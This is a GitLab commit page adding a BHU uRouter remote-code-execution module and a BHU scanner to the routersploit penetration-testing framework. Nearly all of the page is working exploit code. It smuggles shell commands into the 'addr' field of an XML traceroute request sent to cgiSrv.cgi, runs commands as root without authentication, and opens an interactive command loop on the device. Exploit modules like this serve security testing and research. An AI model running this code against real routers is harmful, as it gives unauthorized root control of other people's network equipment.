Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
ca45abd7
Commit
ca45abd7
authored
Jan 21, 2017
by
Tao Sauvage
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
BHU uRouter RCE exploit
parent
56067d93
Hide whitespace changes
Inline
Side-by-side
Showing
3 changed files
with
96 additions
and
0 deletions
+96
-0
__init__.py
routersploit/modules/exploits/bhu/__init__.py
+0
-0
bhu_urouter_rce.py
routersploit/modules/exploits/bhu/bhu_urouter_rce.py
+73
-0
bhu_scan.py
routersploit/modules/scanners/bhu_scan.py
+23
-0
No files found.
routersploit/modules/exploits/bhu/__init__.py
0 → 100644
View file @
ca45abd7
routersploit/modules/exploits/bhu/bhu_urouter_rce.py
0 → 100644
View file @
ca45abd7
from
routersploit
import
(
exploits
,
print_success
,
print_status
,
print_error
,
http_request
,
validators
,
shell
,
mute
,
)
class
Exploit
(
exploits
.
Exploit
):
"""Exploit implementation for unauthenticated RCE vulnerability on BHU uRouter."""
__info__
=
{
'name'
:
'BHU uRouter RCE'
,
'authors'
:
[
'Tao "depierre" Sauvage'
,
],
'description'
:
'Module exploits BHU uRouter unauthenticated remote code execution vulnerability, which '
'allows executing commands on the router with root privileges.'
,
'references'
:
[
'http://www.ioactive.com/pdfs/BHU-WiFi_uRouter-Security_Advisory_Final081716.pdf'
,
],
'devices'
:
[
'BHU uRouter'
,
],
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.62.1'
,
validators
=
validators
.
url
)
port
=
exploits
.
Option
(
80
,
'Target port'
)
def
run
(
self
):
if
self
.
check
():
print_success
(
'Target is vulnerable'
)
print_status
(
'Blind command injection - response is not available'
)
print_status
(
'Possible extraction point:'
)
print_status
(
'
\t
- Inject "CMD > /usr/share/www/routersploit.check"'
)
print_status
(
'
\t
- The result of CMD will be available at {}:{}/routersploit.check'
.
format
(
self
.
target
,
self
.
port
))
print_status
(
"Invoking command loop (type 'exit' or 'quit' to exit the loop)..."
)
shell
(
self
,
architecture
=
'mips'
)
else
:
print_error
(
'Target is not vulnerable'
)
def
execute
(
self
,
cmd
):
url
=
u'{}:{}/cgi-bin/cgiSrv.cgi'
.
format
(
self
.
target
,
self
.
port
)
headers
=
{
u'Content-Type'
:
u'text/xml'
,
u'X-Requested-With'
:
u'XMLHttpRequest'
}
data
=
u'<cmd><ITEM cmd="traceroute" addr="$({})" /></cmd>'
.
format
(
cmd
)
http_request
(
method
=
u'POST'
,
url
=
url
,
headers
=
headers
,
data
=
data
)
return
''
# Blind RCE so no response available
@mute
def
check
(
self
):
url
=
u'{}:{}/cgi-bin/cgiSrv.cgi'
.
format
(
self
.
target
,
self
.
port
)
headers
=
{
u'Content-Type'
:
u'text/xml'
,
u'X-Requested-With'
:
u'XMLHttpRequest'
}
data
=
u'<cmd><ITEM cmd="traceroute" addr="$({})" /></cmd>'
# Blind unauth RCE so we first create a file in the www-root directory
cmd_echo
=
data
.
format
(
u'echo "$USER" > /usr/share/www/routersploit.check'
)
response
=
http_request
(
method
=
u'POST'
,
url
=
url
,
headers
=
headers
,
data
=
cmd_echo
)
if
not
response
or
u'status="doing"'
not
in
response
.
text
:
return
False
# Second we check that the file was successfully created
url
=
u'{}:{}/routersploit.check'
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
u'GET'
,
url
=
url
)
if
not
response
.
status_code
==
200
or
u'root'
not
in
response
.
text
:
return
False
# Third we clean up the temp file. No need to check if successful since we already check that the device was
# vulnerable at this point.
cmd_rm
=
data
.
format
(
u'rm -f /usr/share/www/routersploit.check'
)
http_request
(
method
=
u'POST'
,
url
=
url
,
headers
=
headers
,
data
=
cmd_rm
)
return
True
routersploit/modules/scanners/bhu_scan.py
0 → 100644
View file @
ca45abd7
from
__future__
import
absolute_import
from
.autopwn
import
Exploit
as
BaseScanner
class
Exploit
(
BaseScanner
):
"""Scanner implementation for BHU vulnerabilities."""
__info__
=
{
'name'
:
'BHU Scanner'
,
'description'
:
'Scanner module for BHU devices'
,
'authors'
:
[
'Tao "depierre" Sauvage'
,
],
'references'
:
(
''
,
),
'devices'
:
(
'BHU uRouter'
,
),
}
vendor
=
'bhu'
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment